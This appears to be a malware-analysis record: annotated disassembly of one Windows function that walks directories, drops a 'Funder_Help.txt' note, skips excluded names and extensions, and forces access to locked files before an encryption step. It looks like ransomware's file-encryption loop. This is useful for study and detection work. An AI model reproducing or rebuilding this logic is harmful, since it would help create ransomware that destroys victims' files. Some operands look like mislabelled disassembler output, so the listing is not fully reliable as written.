Function at 0x406390
Capabilities:
Check for software breakpoints
Encode data using xor
Enumerate files on windows
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c4
push ebx
push esi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x42c318]
mov esi, dword [ebp + 8]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1c]
push esi
push str.Start_Enumeration:__s
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], eax
call fcn.00404d60
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax*2 + 0xe]
push esi
push 8
push dword [0x42e394]
call edi
mov edx, eax
mov dword [esp + 0x24], edx
test edx, edx
jne 0x406423
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42e394]
call edi
mov edx, eax
mov dword [esp + 0x24], eax
test edx, edx
je 0x406403
mov esi, dword [esp + 0x24]
push dword [ebp + 8]
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x1c]
mov dword [esi], eax
mov dword [esi + 4], ecx
mov dword [eax + 4], esi
mov eax, ecx
mov dword [esp + 0x1c], esi
cmp esi, eax
je 0x406956
lea eax, [esi + 8]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax*2 + 0x80]
push edi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x4064a0
nop dword [eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x406480
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.Funder_Help.txt
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4064fd
push 0
lea eax, [esp + 0x34]
push eax
push 0x42c378
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x42c378
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x14]
push 0x428f5c
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x80]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x40691f
push 0x2a
push edi
call fcn.00408602
mov esi, dword [esp + 0x18]
add esp, 8
xor ecx, ecx
mov word [eax], cx
nop dword [eax]
push 0x428f64
lea eax, [esp + 0xb0]
push eax
call ebx
test eax, eax
je 0x4068fd
push 0x428f68
lea eax, [esp + 0xb0]
push eax
call ebx
test eax, eax
je 0x4068fd
mov eax, dword [esp + 0x80]
test al, 4
jne 0x4068fd
xor esi, esi
test al, 0x10
je 0x406660
nop word [eax + eax]
push dword [esi + 0x426020]
lea eax, [esp + 0xb0]
push eax
call ebx
test eax, eax
je 0x4068f9
add esi, 4
cmp esi, 0x19c
jb 0x4065a0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esp + 0xac]
push eax
call edi
add eax, esi
lea esi, [eax*2 + 0xe]
push esi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x406620
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x406600
push dword [esp + 0x14]
lea esi, [edi + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0xac]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x1c]
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [esp + 0x20], edi
jmp 0x4068f9
push dword [esi + 0x425aa8]
lea eax, [esp + 0xb0]
push eax
call ebx
test eax, eax
je 0x4068f9
add esi, 4
cmp esi, 0xb0
jb 0x406660
lea eax, [esp + 0xac]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je 0x4066c0
lea edi, [eax + 2]
xor esi, esi
nop dword [eax]
push dword [esi + 0x425b90]
push edi
call ebx
test eax, eax
je 0x4068f9
add esi, 4
cmp esi, 0xcc
jb 0x4066a0
mov edi, dword [esp + 0x14]
mov ecx, dword [esp + 0xa0]
mov eax, dword [esp + 0x9c]
test ecx, ecx
jne 0x4066da
test eax, eax
je 0x4068f9
cmp dword [esp + 0x28], 0
je 0x4066f1
test eax, eax
jne 0x4066f1
cmp ecx, 0xa00000
jb 0x4068f9
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call ebx
mov esi, eax
lea eax, [esp + 0xac]
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add eax, esi
lea edi, [eax*2 + 2]
push edi
push 8
push dword [0x42e394]
call ebx
mov esi, eax
test esi, esi
jne 0x40674c
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42e394]
call ebx
mov esi, eax
test esi, esi
je 0x406730
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0xac]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00405da0
push 0x80
xor ebx, ebx
push esi
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40680c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x4067bf
cmp dword [esp + 0x18], 1
je 0x406978
mov ecx, esi
call fcn.00405bb0
mov dword [esp + 0x18], 1
jmp 0x4067e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40698e
cmp ebx, 1
je 0x406980
mov ecx, esi
call fcn.00405da0
mov ebx, 1
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x406798
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4068e4
push 0x80
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x2c], ebx
cmp ebx, 0xffffffff
je 0x4068cb
push 2
push 0
push 0xffffffffffffffff
push 0xffffffffffffffb8
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4068c4
push 0
lea eax, [esp + 0x38]
push eax
push 0x48
lea eax, [esp + 0x44]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4068c4
lea edi, [esp + 0x48]
or edx, 0xffffffff
mov ebx, 0x20
nop word [eax + eax]
movzx eax, byte [edi]
lea edi, [edi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x421c80]
sub ebx, 1
jne 0x406890
mov eax, dword [esp + 0x18]
mov ecx, 1
cmp edx, dword [esp + 0x74]
mov ebx, dword [esp + 0x2c]
cmove eax, ecx
mov dword [esp + 0x18], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x18], 0
jne 0x4068e4
mov ecx, esi
call fcn.00405e70
test eax, eax
jne 0x4068e4
lock inc dword [0x42e390]
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, dword [esp + 0x14]
test eax, eax
jne 0x406550
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x24]
push edx
push 0
push dword [0x42e394]
mov eax, dword [edx + 4]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x1c]
mov dword [esp + 0x24], esi
cmp esi, eax
jne 0x406452
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [esp + 0x28], 0
je 0x40699e
mov esi, dword [ebp + 8]
push esi
push str.Finished_Exploring_Large_Files_on:__s
call fcn.00404d60
mov dword [esp + 0x30], 0
jmp 0x4063dd
push esi
push str.Unable_To_Access_File:__s___SHARING_VIOLATION
jmp 0x406986
push esi
push str.Unable_To_Access_File:__s___ACCESS_DENIED
call fcn.00404d60
add esp, 8
xor bl, bl
cmp edi, 0xffffffff
je 0x4068e4
jmp 0x40680e
mov ebx, dword [ebp + 8]
push ebx
push str.Finished_Exploring_Small_Files_on:__s
call fcn.00404d60
add esp, 8
push ebx
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4